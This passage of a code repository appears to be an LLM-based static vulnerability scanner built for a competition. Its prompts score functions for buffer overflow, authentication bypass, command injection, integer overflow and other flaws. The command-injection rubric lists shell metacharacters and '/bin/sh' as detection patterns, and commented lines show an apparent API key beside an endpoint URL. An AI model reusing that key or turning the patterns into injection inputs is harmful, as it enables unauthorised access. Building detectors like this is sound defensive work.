the buffer overflow dangerous operation, consider dataflow cross functions, assume the length of the target buffer and the max length of the source buffer, minus 40 points(no less than 0) if the check suggest that source buffer won't be longer than target buffer. 9.Add 50 point if there is a bypass of length limitation. """ response_schemas_step2 = [ ResponseSchema(name="functions", description="a list of function names with their respective confidence levels") ] length_limit=14000 def check_output_regex(output): pattern = r"maximum context length is 8000 tokens" if re.search(pattern, output): return 1 else: return 0 def llm_api_step2(prompt_code, key_env, base_env): global length_limit if len(prompt_code)>length_limit: prompt_code = prompt_code[:length_limit] llm = ChatOpenAI( streaming=True, verbose=True, # key和base开赛后提供 openai_api_key=key_env, openai_api_base=base_env, model_name='tq-gpt', timeout=300 ) # create HumanMessagePromptTemplate HumanMessagePrompt = HumanMessagePromptTemplate(prompt=HumanPromptStep2) SystemMessagePrompt = SystemMessagePromptTemplate(prompt=SystemPrompt) # conbine Prompt chat_template = ChatPromptTemplate.from_messages([SystemMessagePrompt,HumanMessagePrompt]) output_parser = StructuredOutputParser.from_response_schemas(response_schemas_step2) format_instructions = output_parser.get_format_instructions() #prompt = split_prompt(prompt, 6000) chain=LLMChain(llm=llm, prompt=chat_template) try: output = chain.run(code_context=prompt_code,format_instructions=format_instructions,high_risk_functions=high_risky_functions,low_risk_functions=low_risky_functions) print(output) json_out=output_parser.parse(output) # AI may regard a content to be None not NULL # Change later for i in range(10): if json_out["functions"]: break output = chain.run(code_context=prompt_code,format_instructions=format_instructions,high_risk_functions=high_risky_functions,low_risk_functions=low_risky_functions) #print(output) json_out=output_parser.parse(output) return json_out except Exception as e: print(f"Request timed out. {e}") if check_output_regex(str(e)) == 1: length_limit = length_limit - 2000 return None def check_bof(prompt_code, key_env, base_env): global length_limit length_limit = 14000 json_out=llm_api_step2(prompt_code, key_env, base_env) for i in range(50): if json_out is not None: break json_out=llm_api_step2(prompt_code, key_env, base_env) return json_out ================================================ FILE: task2_source_code/first_version/bypass.py ================================================ #!/usr/local/bin/python3 from langchain_openai import ChatOpenAI from langchain_core.messages import HumanMessage, SystemMessage from langchain.prompts import PromptTemplate,ChatPromptTemplate from langchain.chains import LLMChain, SimpleSequentialChain from langchain.prompts import ( ChatPromptTemplate, PromptTemplate, SystemMessagePromptTemplate, AIMessagePromptTemplate, HumanMessagePromptTemplate ) from langchain.output_parsers import StructuredOutputParser, ResponseSchema from langchain.schema import ( AIMessage, HumanMessage, SystemMessage ) import re SystemPrompt = PromptTemplate( template="You are a cybersecurity engineer, and your task is to analyze the provided code snippet and the potential vulnerability types to identify the function in the given code where the vulnerability is most likely to occur.", ) HumanPromptStep2 = PromptTemplate( template=""" User question: Please analyze all functions in the code snippet I provided to determine whether they have potential authentication bypass vulnerabilities, and output the names of all functions and their total confidence (including functions with a total confidence of 0). {code_context} Answer the user's question using the information in . Output format: {format_instructions} an example of output is:curly_brace"functions": [curly_brace "name": "daemonCheck","confidence": 10 end_curly_brace,curly_brace "name": "daemonControl","confidence": 30 end_curly_brace] end_curly_brace Analysis criteria: 1. Weak or missing authentication checks (20 points): Add 20 points if a function performs privileged operations or grants access without validating user credentials or session tokens. This includes cases where authentication logic is incomplete or entirely missing. 2. Improper verification logic (20 points): Add 20 points for flawed logic in authentication processes, such as incorrect password/token validation, acceptance of partial/empty credentials, or overly permissive access control. 3. Session management issues (20 points): Add 20 points if session handling lacks proper checks, including missing token validation, use of predictable or insecure session identifiers, or failure to invalidate sessions when appropriate (e.g., on logout). 4. Backdoors or insecure fallback mechanisms (40 points): Add 40 points if the function contains mechanisms that bypass authentication, such as hardcoded credentials, debug modes, or any form of unrestricted access intended for testing or maintenance. [Attention!]: 1. Total confidence of each function is the sum of points from the above criteria. 2. Ensure that all functions in the code snippet are analyzed and included in the output. 3. Pay particular attention to indirect influences, such as unchecked authentication states being passed to other functions. 4. The output must be valid JSON. 5. Avoid producing results where all functions have identical scores unless justified by the analysis. Provide meaningful differentiation based on potential vulnerabilities. Key Notes for AI: 1. Focus on identifying risks specifically related to authentication bypass, not general issues. 2. Use clear, concise language to explain the scoring and avoid unnecessary verbosity. 3. Provide detailed reasoning for any function scoring zero, ensuring the logic is thorough and traceable. """, input_variables=["code_context"] ) response_schemas_step2 = [ ResponseSchema(name="functions", description="a list of function names with their respective confidence levels") ] length_limit=14000 def check_output_regex(output): pattern = r"maximum context length is 8000 tokens" if re.search(pattern, output): return 1 else: return 0 def llm_api_step2(prompt_code, key_env, base_env): global length_limit if len(prompt_code)>length_limit: prompt_code = prompt_code[:length_limit] llm = ChatOpenAI( streaming=True, verbose=True, # key和base开赛后提供 openai_api_key=key_env, openai_api_base=base_env, model_name='tq-gpt', timeout=300 ) # create HumanMessagePromptTemplate HumanMessagePrompt = HumanMessagePromptTemplate(prompt=HumanPromptStep2) SystemMessagePrompt = SystemMessagePromptTemplate(prompt=SystemPrompt) # conbine Prompt chat_template = ChatPromptTemplate.from_messages([SystemMessagePrompt,HumanMessagePrompt]) output_parser = StructuredOutputParser.from_response_schemas(response_schemas_step2) format_instructions = output_parser.get_format_instructions() #prompt = split_prompt(prompt, 6000) chain=LLMChain(llm=llm, prompt=chat_template) try: output = chain.run(code_context=prompt_code,format_instructions=format_instructions) print(output) json_out=output_parser.parse(output) # AI may regard a content to be None not NULL # Change later for i in range(10): if json_out["functions"]: break output = chain.run(code_context=prompt_code,format_instructions=format_instructions) #print(output) json_out=output_parser.parse(output) return json_out except Exception as e: print(f"Request timed out. {e}") if check_output_regex(str(e)) == 1: length_limit = length_limit - 2000 return None def check_bypass(prompt_code, key_env, base_env): global length_limit length_limit = 14000 json_out=llm_api_step2(prompt_code, key_env, base_env) for i in range(50): if json_out is not None: break json_out=llm_api_step2(prompt_code, key_env, base_env) return json_out # check by yourself #filepath='a' #with open(file_path, encoding='utf-8') as file: # file_content = file.read() #json_out=check_arbitrary(file_content, "8bb73128d0b5732a1e0723f922245df8", 'https://poc.qianxin.com') ================================================ FILE: task2_source_code/first_version/command.py ================================================ #!/usr/local/bin/python3 from langchain_openai import ChatOpenAI from langchain_core.messages import HumanMessage, SystemMessage from langchain.prompts import PromptTemplate,ChatPromptTemplate from langchain.chains import LLMChain, SimpleSequentialChain from langchain.prompts import ( ChatPromptTemplate, PromptTemplate, SystemMessagePromptTemplate, AIMessagePromptTemplate, HumanMessagePromptTemplate ) from langchain.output_parsers import StructuredOutputParser, ResponseSchema from langchain.schema import ( AIMessage, HumanMessage, SystemMessage ) import re SystemPrompt = PromptTemplate( template="You are a cybersecurity engineer, and your task is to analyze the provided code snippet and the potential vulnerability types to identify the function in the given code where the vulnerability is most likely to occur.", ) HumanPromptStep2 = PromptTemplate( template=""" User question:Please analyze the provided specific code of a series of functions to determine if any of these functions contain potential Command injection vulnerabilities ,Your analysis must consider: User Input Flow: Analyze how user input flows into command execution functions like system(). Look for cases where input affects the commands being executed. Sanitization: Check if user input is validated for malicious patterns like ;, &&, ||, |, $(), backticks, or other special characters. Let's analyze each function step by step based on the code I provide. We will consider each function independently and, based on the analysis criteria I give, assign a confidence score (confidence score:s 1~10) to each function: 1.Determine the Use of Command Execution Functions like system(), exec(), popen(), Runtime.exec(), ProcessBuilder, etc. If such functions are present, add 10 points to the confidence level. 2.Unvalidated User Input: if user input directly influences command execution without validation, add 20 points to the confidence level. 3.Consider Permission operations: if giving function exists any operation on Permission like $permission, which may influnecethe the command injection function Input, add 20 points to the confidence level. 4.Use of Shell Metacharacters: Direct concatenation allows inclusion of shell metacharacters in inputs, add 20 points to the confidence level. 5.If the function contains strings related to RCE such as "smb" or "/bin/sh", add 30 extra points to the confidence score. {code_context} answer user's question with the information in output format: {format_instructions} an example of output is:curly_brace"functions": [curly_brace "name": "daemonCheck","confidence": 10 end_curly_brace,curly_brace "name": "daemonControl","confidence": 30 end_curly_brace] end_curly_brace """, input_variables=["code_context"] ) response_schemas_step2 = [ ResponseSchema(name="functions", description="a list of function names with their respective confidence levels") ] length_limit=14000 def check_output_regex(output): pattern = r"maximum context length is 8000 tokens" if re.search(pattern, output): return 1 else: return 0 def llm_api_step2(prompt_code, key_env, base_env): global length_limit if len(prompt_code)>length_limit: prompt_code = prompt_code[:length_limit] llm = ChatOpenAI( streaming=True, verbose=True, # key和base开赛后提供 openai_api_key=key_env, openai_api_base=base_env, model_name='tq-gpt', timeout=300 ) # create HumanMessagePromptTemplate HumanMessagePrompt = HumanMessagePromptTemplate(prompt=HumanPromptStep2) SystemMessagePrompt = SystemMessagePromptTemplate(prompt=SystemPrompt) # conbine Prompt chat_template = ChatPromptTemplate.from_messages([SystemMessagePrompt,HumanMessagePrompt]) output_parser = StructuredOutputParser.from_response_schemas(response_schemas_step2) format_instructions = output_parser.get_format_instructions() #prompt = split_prompt(prompt, 6000) chain=LLMChain(llm=llm, prompt=chat_template) try: output = chain.run(code_context=prompt_code,format_instructions=format_instructions) print(output) json_out=output_parser.parse(output) # AI may regard a content to be None not NULL # Change later for i in range(10): if json_out["functions"] or json_out["functions"]==[]: break output = chain.run(code_context=prompt_code,format_instructions=format_instructions) #print(output) json_out=output_parser.parse(output) return json_out except Exception as e: print(f"Request timed out. {e}") if check_output_regex(str(e)) == 1: length_limit = length_limit - 2000 return None def check_command(prompt_code, key_env, base_env): global length_limit length_limit = 14000 json_out=llm_api_step2(prompt_code, key_env, base_env) for i in range(50): if json_out is not None: break json_out=llm_api_step2(prompt_code, key_env, base_env) return json_out # check by yourself #filepath='a' #with open(file_path, encoding='utf-8') as file: # file_content = file.read() #json_out=check_arbitrary(file_content, "8bb73128d0b5732a1e0723f922245df8", 'https://poc.qianxin.com') ================================================ FILE: task2_source_code/first_version/int_overflow.py ================================================ #!/usr/local/bin/python3 from langchain_openai import ChatOpenAI from langchain_core.messages import HumanMessage, SystemMessage from langchain.prompts import PromptTemplate,ChatPromptTemplate from langchain.chains import LLMChain, SimpleSequentialChain from langchain.prompts import ( ChatPromptTemplate, PromptTemplate, SystemMessagePromptTemplate, AIMessagePromptTemplate, HumanMessagePromptTemplate ) from langchain.output_parsers import StructuredOutputParser, ResponseSchema from langchain.schema import ( AIMessage, HumanMessage, SystemMessage ) import re SystemPrompt = PromptTemplate( template="You are a cybersecurity engineer, and your task is to analyze the provided code snippet and the potential vulnerability types to identify the function in the given code where the vulnerability is most likely to occur.", ) HumanPromptStep2 = PromptTemplate( template=""" User question: Please analyze all functions in the code snippet I provided to determine whether they have potential integer overflow vulnerabilities, and output the names of all functions and their total confidence (including functions with a total confidence of 0). {code_context} Answer the user's question using the information in . **Output format**: {format_instructions} an example of output is:curly_brace"functions": [curly_brace "name": "daemonCheck","confidence": 10 end_curly_brace,curly_brace "name": "daemonControl","confidence": 30 end_curly_brace] end_curly_brace **Analysis criteria**: 1. **Input-controlled integers (10 points)**: Add 10 points if integers directly or indirectly influenced by user input or external data are used in critical logic, calculations, or resource operations without proper validation (e.g., range, format, or type checking). 2. **Lack of bounds checking (10 points)**: Add 10 points if integers influenced by user input or external data are used in array indexing, loop boundaries, or conditional checks without verifying their validity, which may lead to risks like out-of-bounds access or security bypass. 3. **Unsafe arithmetic (20 points)**: Add 20 points if arithmetic operations (e.g., addition, subtraction, multiplication) or type conversions involving user-controlled integers may result in overflow, truncation, or unexpected behavior. 4. **Memory or buffer allocation issues (40 points)**: Add 40 points if integers influenced by user input or external data are used for memory allocation, buffer operations, or size calculations without strict validation, posing risks like overflow or memory corruption. [Attention!]: 1. Total confidence of each function is the sum of points from the above criteria. 2. Analyze **all functions** in the provided code snippet and ensure no function is omitted. 3. Pay particular attention to **indirect influences** where integers are passed through intermediate variables or functions. 4. The output must be valid JSON. 5. Try not to output results with a total confidence of all 0, or all the same results, which will bother me. """, input_variables=["code_context"] ) response_schemas_step2 = [ ResponseSchema(name="functions", description="a list of function names with their respective confidence levels") ] length_limit=14000 def check_output_regex(output): pattern = r"maximum context length is 8000 tokens" if re.search(pattern, output): return 1 else: return 0 def llm_api_step2(prompt_code, key_env, base_env): global length_limit if len(prompt_code)>length_limit: prompt_code = prompt_code[:length_limit] llm = ChatOpenAI( streaming=True, verbose=True, # key和base开赛后提供 openai_api_key=key_env, openai_api_base=base_env, model_name='tq-gpt', timeout=300 ) # create HumanMessagePromptTemplate HumanMessagePrompt = HumanMessagePromptTemplate(prompt=HumanPromptStep2) SystemMessagePrompt = SystemMessagePromptTemplate(prompt=SystemPrompt) # conbine Prompt chat_template = ChatPromptTemplate.from_messages([SystemMessagePrompt,HumanMessagePrompt]) output_parser = StructuredOutputParser.from_response_schemas(response_schemas_step2) format_instructions = output_parser.get_format_instructions() #prompt = split_prompt(prompt, 6000) chain=LLMChain(llm=llm, prompt=chat_template) try: output = chain.run(code_context=prompt_code,format_instructions=format_instructions) print(output) json_out=output_parser.parse(output) # AI may regard a content to be None not NULL # Change later for i in range(10): if json_out["functions"]: break output = chain.run(code_context=prompt_code,format_instructions=format_instructions) #print(output) json_out=output_parser.parse(output) return json_out except Exception as e: print(f"Request timed out. {e}") if check_output_regex(str(e)) == 1: length_limit = length_limit - 2000 return None def check_int_overflow(prompt_code, key_env, base_env): global length_limit length_limit = 14000 json_out=llm_api_step2(prompt_code, key_env, base_env) for i in range(50): if json_out is not None: break json_out=llm_api_step2(prompt_code, key_env, base_env) return json_out # check by yourself #filepath='a' #with open(file_path, encoding='utf-8') as file: # file_content = file.read() #json_out=check_arbitrary(file_content, "8bb73128d0b5732a1e0723f922245df8", 'https://poc.qianxin.com') ================================================ FILE: task2_source_code/first_version/others.py ================================================ #!/usr/local/bin/python3 from langchain_openai import ChatOpenAI from langchain_core.messages import HumanMessage, SystemMessage from langchain.prompts import PromptTemplate,ChatPromptTemplate from langchain.chains import LLMChain, SimpleSequentialChain from langchain.prompts import ( ChatPromptTemplate, PromptTemplate, SystemMessagePromptTemplate, AIMessagePromptTemplate, HumanMessagePromptTemplate ) from langchain.output_parsers import StructuredOutputParser, ResponseSchema from langchain.schema import ( AIMessage, HumanMessage, SystemMessage ) import re SystemPrompt = PromptTemplate( template="You are a cybersecurity engineer, and your task is to analyze the provided code snippet and the potential vulnerability types to identify the function in the given code where the vulnerability is most likely to occur.", ) HumanPromptStep2 = PromptTemplate( template=""" User question:Please analyze the provided specific code of a series of functions to determine if any of these functions contain potential vulnerabilities, I will provide you with several types of vulnerabilities, as well as key dangerous functions or patterns that lead to these vulnerabilities for your consideration. Please identify the specific function that contains the vulnerability trigger point. Note that there will be only one function with the vulnerability trigger point. Please think carefully, analyze step by step, and ultimately return to me the specific name of the vulnerable function, as well as the type of vulnerability: here are the potential types of the vulnerability: 1.SQL Injection: pay attention to dangerous functions like mysql_query(). If there are any, please focus on these points:(1)Direct SQL query construction;(2)Examine how user input is incorporated into SQL queries. and finally provide me with the function that is most likely to have an SQL injection vulnerability. 2.Race condition: Please focus on the following: (1)Checking resources before use, such as verifying file paths before using functions like open() to operate on files.(2)Improper use of locking functions that can lead to vulnerabilities. and finally provide me with the function that is most likely to have an race condition vulnerability. 3.Use-after-free:focus on the situation where resources are released before being used. Please pay special attention to functions related to resource release and allocation that are associated with Use-After-Free (UAF), such as free() and malloc(). and finally provide me with the function that is most likely to have an UAF vulnerability. 4.format string:focus on dangerous function like printf(),scanf() etc. Further determine whether the input to these dangerous functions can be controlled by user input, and if so, provide me with the function that is most likely to have an format string vulnerability. 5.CSRF and SSRF:pay attention to High-Risk Functions and Methods like (HTML rendering functions), (JavaScript generation) or (manipulation and DOM manipulation methods), if have any CSRF vulnerability, provide me with the function that is most likely to have an CSRF vulnerability. 6.Double-Fetch issues involving multiple interactions with kernel functions, such as copy_from_user(), get_user(), copy_to_user() and put_user(), If a function contains two calls to the aforementioned interaction functions that both operate on the same kernel object, please output the name of the involved function, which must have a vulnerability. Finally, If none of the aforementioned types of vulnerabilities are present, do not output any results. {code_context} answer user's question with the information in output format: {format_instructions} """, input_variables=["code_context"] ) response_schemas_step2 = [ ResponseSchema(name="functions", description="function name"), ResponseSchema(name="types", description="The specific type of vulnerability"), ] length_limit=14000 def check_output_regex(output): pattern = r"maximum context length is 8000 tokens" if re.search(pattern, output): return 1 else: return 0 def llm_api_step2(prompt_code, key_env, base_env): global length_limit if len(prompt_code)>length_limit: prompt_code = prompt_code[:length_limit] llm = ChatOpenAI( streaming=True, verbose=True, # key和base开赛后提供 openai_api_key=key_env, openai_api_base=base_env, model_name='tq-gpt', timeout=300 ) # create HumanMessagePromptTemplate HumanMessagePrompt = HumanMessagePromptTemplate(prompt=HumanPromptStep2) SystemMessagePrompt = SystemMessagePromptTemplate(prompt=SystemPrompt) # conbine Prompt chat_template = ChatPromptTemplate.from_messages([SystemMessagePrompt,HumanMessagePrompt]) output_parser = StructuredOutputParser.from_response_schemas(response_schemas_step2) format_instructions = output_parser.get_format_instructions() #prompt = split_prompt(prompt, 6000) chain=LLMChain(llm=llm, prompt=chat_template) try: output = chain.run(code_context=prompt_code,format_instructions=format_instructions) print(output) json_out=output_parser.parse(output) # AI may regard a content to be None not NULL # Change later for i in range(10): if json_out["functions"]: break output = chain.run(code_context=prompt_code,format_instructions=format_instructions) #print(output) json_out=output_parser.parse(output) return json_out except Exception as e: print(f"Request timed out. {e}") if check_output_regex(str(e)) == 1: length_limit = length_limit - 2000 return None def check_others(prompt_code, key_env, base_env): global length_limit length_limit = 14000 json_out=llm_api_step2(prompt_code, key_env, base_env) for i in range(50): if json_out is not None: break json_out=llm_api_step2(prompt_code, key_env, base_env) pattern = r'\)\s+(\w+)\s*\(' # Search for the pattern in the code string match = re.search(pattern, json_out["functions"]) if match: # Extract the function name json_out["functions"] = match.group(1) json_out["functions"]=[json_out["functions"]] json_out["confidence"]=100 return json_out # check by yourself #filepath='a' #with open(file_path, encoding='utf-8') as file: # file_content = file.read() #json_out=check_arbitrary(file_content, "8bb73128d0b5732a1e0723f922245df8", 'https://poc.qianxin.com') #print(json_out) ================================================ FILE: task2_source_code/first_version/test.py ================================================ #!/usr/local/bin/python3 from langchain_openai import ChatOpenAI from langchain_core.messages import HumanMessage, SystemMessage from langchain.prompts import PromptTemplate,ChatPromptTemplate from langchain.chains import LLMChain, SimpleSequentialChain from langchain.prompts import ( ChatPromptTemplate, PromptTemplate, SystemMessagePromptTemplate, AIMessagePromptTemplate, HumanMessagePromptTemplate ) from langchain.output_parsers import StructuredOutputParser, ResponseSchema from langchain.schema import ( AIMessage, HumanMessage, SystemMessage ) from Splitting_function_CC import process_c_files from Splitting_function_py import process_python from Splitting_function_php import process_php_files_in_directory from Splitting_function_java import process_java_files from Splitting_function_go import extract_functions_with_receivers from Splitting_jsp import split_jsp_files from arbitrary import check_arbitrary,check_output_regex from bypass1 import check_bypass from int_overflow1 import check_int_overflow from bof_memory1 import check_bof from others_memory import check_others from command_memory import check_command import os import json import time from bs4 import BeautifulSoup import re import csv import re # 数据集所在的文件目录 data_dir = '/vlun_demo' #data_dir = './data40' # 答案文件保存的目录 answer_dir = '/result' #answer_dir = './result' env_vars = os.environ key_env=env_vars['API_KEY'] base_env=env_vars['API_BASE'] #key_env='' #base_env='https://poc.qianxin.com' # prompt informations HumanPromptStep1 = PromptTemplate( template=""" User question: If you provide a code snippet to be verified, the language of the code snippet is {slice_lang}, and the code snippet may contain a vulnerability of type {slice_vul}, please summarize the following information as much as possible: "vul_functions": the function names of the {slice_vul} vulnerability type in the code snippet. "related_functions": other function names related to the dangerous function in the code snippet. {ocr_result} Use Answer the user's question with the information in Output format: {format_instructions} Let's analyze step by step and give us your analysis process. Pay attention to the following points: 1. The code snippet provided may be related to the {slice_vul} vulnerability or may not be related to the {slice_vul} vulnerability; 2. If the code snippet provided is related to the {slice_vul} vulnerability, the output dangerous function and other related functions may be more than one; 3. If the code snippet provided is not related to the {slice_vul} vulnerability, the output "vul_functions" is NULL, and the "related_functions" is also NULL; 4. Please analyze from the perspective of the function call chain Analyze the code snippet provided, and save other functions in the same function call chain as the dangerous function in the "related_functions"; 5. Please analyze the functions with security checks in the provided code snippets and consider whether they are dangerous functions or related to dangerous functions; 6. The code snippets provided are often incomplete. If there are custom functions with unknown function bodies, please analyze the additional context information they need by yourself; 7. Please analyze the code snippets provided from various angles of vulnerability analysis as much as possible, and be generous and thorough when identifying dangerous functions and other related functions, because you will analyze more code in subsequent steps; 8. Please do not output irrelevant function names to the results and do not output a list of dangerous functions that is too long (for example, more than 10 elements), otherwise it will affect our next judgment. 9. Please make sure that the output json is a legal json file and output your analysis process. """, input_variables=["slice_lang","slice_vul","ocr_result","format_instructions"] ) SystemPrompt = PromptTemplate( template="""You are a world-leading expert in vulnerability analysis, famous for discovering vulnerabilities in code snippets. You understand and are familiar with various languages including but not limited to decompiled pseudocode, C, C++, java, python, go, js, and you can read English and Chinese. Your task is to perform a detailed static code analysis, focusing on the following types of vulnerabilities: 1. Arbitrary File Access (Arbitrary_file_access) 2. Authentication Bypass (Authentication_bypass) 3. Buffer Overflow (Buffer_overflow) 4. Command Injection (Command_injection) 5. Integer Overflow (Integer_overflow) 6. Others (others): including but not limited to SQL injection, deserialization vulnerabilities, SSRF, XSS, UAF, conditional competition, format string and other types of vulnerabilities. """ ) #output response_schemas_step1 = [ ResponseSchema(name="vul_functions", description="a list of all dangerous functions", type="list[str]"), ResponseSchema(name="related_functions", description="a list of all related functions", type="list[str]") ] length_limit=14000 """ Connect to the OpenAI API and return the response """ # chat_template = ChatPromptTemplate.from_messages( # [ # ("system", "You are a cyber security engineer whose job is to look at vulnerability disclosure websites and compile vulnerability information."), # ("human", "Hello, how are you doing?"), # ("ai", "I'm doing well, thanks!"), # ("human", "{user_input}"), # ] # ) # create SystemMessagePromptTemplate vul_list = ["Arbitrary_file_access", "Authentication_bypass", "Buffer_overflow", "Command_injection", "Integer_overflow", "others"] SystemMessagePrompt = SystemMessagePromptTemplate(prompt=SystemPrompt) def llm_api_step1(prompt, slice_lang, slice_vul): global length_limit if len(prompt)>length_limit: prompt = prompt[:length_limit] llm = ChatOpenAI( streaming=True, verbose=True, # key和base开赛后提供 openai_api_key=key_env, openai_api_base=base_env, model_name='tq-gpt', timeout=300 ) # create HumanMessagePromptTemplate HumanMessagePrompt = HumanMessagePromptTemplate(prompt=HumanPromptStep1) # conbine Prompt chat_template = ChatPromptTemplate.from_messages([SystemMessagePrompt,HumanMessagePrompt]) output_parser = StructuredOutputParser.from_response_schemas(response_schemas_step1) format_instructions = output_parser.get_format_instructions() chain=LLMChain(llm=llm, prompt=chat_template) try: output = chain.run(slice_lang=slice_lang,slice_vul=slice_vul,ocr_result=prompt,format_instructions=format_instructions) #print(output) json_out=output_parser.parse(output) # AI may regard a content to be None not NULL # Change later for i in range(10): # 先考虑输出只有危险函数的情况,其他相关函数(如调用链)不管 if json_out["vul_functions"]: break output = chain.run(slice_lang=slice_lang,slice_vul=slice_vul,ocr_result=prompt,format_instructions=format_instructions) #print(output) json_out=output_parser.parse(output) return json_out except Exception as e: print(f"Request timed out. {e}") if check_output_regex(str(e)) == 1: length_limit = length_limit - 2000 return None def split_files(subdir_path, ext): functions=None if ext=='.c' or ext=='.h' or ext=='.cc' or ext=='.cpp': functions=process_c_files(subdir_path) elif ext=='.py': functions=process_python(subdir_path) elif ext=='.ts': functions=None elif ext=='.js': functions=split_jsp_files() elif ext=='.java': functions=process_java_files(subdir_path) elif ext=='.php': functions=process_php_files_in_directory(subdir_path) elif ext=='.go': functions=extract_functions_with_receivers(subdir_path) return functions def run_step1_considering_timeout(file_content, slice_lang, slice_vul): global length_limit length_limit = 14000 json_out_step1 = llm_api_step1(file_content, slice_lang=slice_lang, slice_vul=slice_vul) for i in range(50): if json_out_step1 is not None: break json_out_step1 = llm_api_step1(file_content, slice_lang=slice_lang, slice_vul=slice_vul) return json_out_step1 writed_result=0 def check_and_write(file_path,target1,target2,highest_score,second_highest,total_file_content): global writed_result try: if writed_result<=4: with open(file_path, 'a') as f: f.write(target1+'\n') writed_result+=1 if highest_score < second_highest*2: f.write(target2+'\n') writed_result+=1 except: pass def run_step2(slice_vul,file_content, total_file_content): json_out_step2=None if slice_vul=="Arbitrary_file_access": json_out_step2 = check_arbitrary(file_content, key_env, base_env) elif slice_vul=="Authentication_bypass": json_out_step2 = check_bypass(file_content, key_env, base_env) elif slice_vul=="Buffer_overflow": json_out_step2 = check_bof(file_content, key_env, base_env) elif slice_vul=="Command_injection": json_out_step2 = check_command(file_content, key_env, base_env) elif slice_vul=="Integer_overflow": json_out_step2 = check_int_overflow(file_content, key_env, base_env) else: json_out_step2 = check_others(file_content, key_env, base_env) if not json_out_step2: return#not implemented yet print(json_out_step2) highest_score=0 second_highest=0 target1=None target2=None for item in json_out_step2['functions']: if item['confidence']>highest_score: target1=item['name'] highest_score=item['confidence'] elif item['confidence']>second_highest: target2=item['name'] second_highest=item['confidence'] #if highest_score < second_highest*2: # print("prepare writing",target1,target2) #else: # print("prepare writing",target1) a_dir = os.path.join(answer_dir, slice_vul) file_path = os.path.join(a_dir, 'answer.txt') if not os.path.exists(a_dir): os.makedirs(a_dir) check_and_write(file_path,target1,target2,highest_score,second_highest,total_file_content) def step_by_step(type, subdir_path, answer_dir): global writed_result writed_result=0 #split 返回content, slice_lang and slice_vul # Main function call #directory_path = '0' # Replace with the actual directory path #process_directory(directory_path) #exit() # all type: # .bz2, .c, .cc, .cfg, .crt, .csv, .go, .gz, .h, .html, .java, .jsp, .key, .php, .po, .py, .pyi, .ts, .txt, .xml # 黑名单文件的后缀名 extensions = [".pyi",".bz2",".cfg",".crt",".csv",".gz",".html",".key",".po",'.txt','.xml'] ext=None file_num=0 for filename in os.listdir(subdir_path): file_path = os.path.join(subdir_path, filename) # 确保是文件而不是子目录 if os.path.isfile(file_path): # 获取文件的扩展名(后缀名) ext = os.path.splitext(filename)[1].lower() if ext in extensions: continue file_num+=1 if file_num>1: break with open(file_path, encoding='utf-8') as file: file_content = file.read() if file_num>1 or len(file_content)>10000:#split functions=None slice_vul = type #if slice_vul!="Arbitrary_file_access" and slice_vul!="Buffer_overflow": # return slice_lang = ext[1:] if ext=='.c' or ext=='.h': slice_lang = "decompiled pseudocode or c programming language" elif ext=='.cc' or ext=='.cpp': slice_lang = "c++" elif ext=='.py': slice_lang = "python" elif ext=='.ts': slice_lang = "TypeScript" elif ext=='.jsp': slice_lang = "JavaScript" print(slice_lang,slice_vul) if file_num<=1 and len(file_content)<=14000: #edit, simply run step2 run_step2(slice_vul,file_content,file_content) #json_out_step1 = run_step1_considering_timeout(file_content, slice_lang=slice_lang, slice_vul=slice_vul) else: #split if functions==None: return total="" for function in functions: total+=function file_content="" dangerous_funcs=[] related_funcs=[] if slice_vul=="Buffer_overflow" or slice_vul=="Integer_overflow" or slice_vul=="Command_injection" or slice_vul=="others": for function in functions: if len(file_content)+len(function)<=14000: file_content+=function else: run_step2(slice_vul,file_content,total) file_content=function run_step2(slice_vul,file_content,total) return for function in functions: if len(file_content)+len(function)<=14000: file_content+=function else: json_out_step1 = run_step1_considering_timeout(file_content, slice_lang=slice_lang, slice_vul=slice_vul) dangerous_funcs+=json_out_step1["vul_functions"] try: related_funcs+=json_out_step1["related_functions"] except: pass file_content=function json_out_step1 = run_step1_considering_timeout(file_content, slice_lang=slice_lang, slice_vul=slice_vul) dangerous_funcs+=json_out_step1["vul_functions"] try: related_funcs+=json_out_step1["related_functions"] except: pass #print(dangerous_funcs) #print(related_funcs) file_content2="" analysed_funcs=[] for function in functions: try: head=function.split('\n')[0]+function.split('\n')[1]+function.split('\n')[2] except: head=function for danger in dangerous_funcs: if danger in analysed_funcs: continue if danger in head: if len(file_content2)+len(function)>14000: print("full") run_step2(slice_vul,file_content2,total) file_content2=function file_content2+=function analysed_funcs.append(danger) print(len(file_content2)) if len(file_content2)<13000:#still have space for function in functions: try: head=function.split('\n')[0]+function.split('\n')[1]+function.split('\n')[2] except: head=function for danger in related_funcs: if danger in analysed_funcs: continue if danger in head: if len(file_content2)+len(function)>14000: print("full") continue file_content2+=function analysed_funcs.append(danger) print(len(file_content2)) run_step2(slice_vul,file_content2,total) def search_data_dir(data_dir, answer_dir): # 当前目录下的数据集路径 root_dir = data_dir answer_dir=answer_dir # 获取第一层所有目录名称 top_level_dirs = [] # 用于存储所有二级目录和对应的文件数量 subdirs_with_file_count = [] # 遍历每一个第一层目录 for type in top_level_dirs: print(f"Processing directory: {type}") # 获取每个第一层目录的路径 subdir_path = os.path.join(root_dir, type) # 遍历每个二级目录(数字目录如0, 1, 2)并统计文件数量 for i in os.listdir(subdir_path): sub_dir = os.path.join(subdir_path, i) if os.path.isdir(sub_dir): total_size = sum( os.path.getsize(os.path.join(sub_dir, f)) for f in os.listdir(sub_dir) if os.path.isfile(os.path.join(sub_dir, f)) ) # 将二级目录及其总文件大小保存到列表中 subdirs_with_file_count.append((type, i, total_size)) # 统计该二级目录下的文件数量 #file_count = len([f for f in os.listdir(sub_dir) if os.path.isfile(os.path.join(sub_dir, f))]) # 将二级目录及其文件数量保存到列表中 #subdirs_with_file_count.append((type, i, file_count)) # 根据文件数量排序(从小到大) subdirs_with_file_count.sort(key=lambda x: x[2]) # 按照排序后的顺序输出文件内容 for type, subdir, _ in subdirs_with_file_count: subdir_path = os.path.join(root_dir, type, subdir) print(f"\nEntering subdirectory: {subdir} in {type}") try: step_by_step(type,subdir_path,answer_dir) except Exception as e: print("analysing file error",e) # 遍历子目录中的文件 #for filename in os.listdir(subdir_path): # file_path = os.path.join(subdir_path, filename) # # 确保是文件而不是子目录 # if os.path.isfile(file_path): # # 获取文件的扩展名(后缀名) # ext = os.path.splitext(filename)[1].lower() # if ext in extensions: # continue # # 打开并读取文件内容 # try: # with open(file_path, encoding='utf-8') as file: # file_content = file.read() # step_by_step(type, ext, answer_dir, file_content) # except Exception as e: # print("analysing file error",e) #print(file_count) if __name__ == '__main__': search_data_dir(data_dir, answer_dir)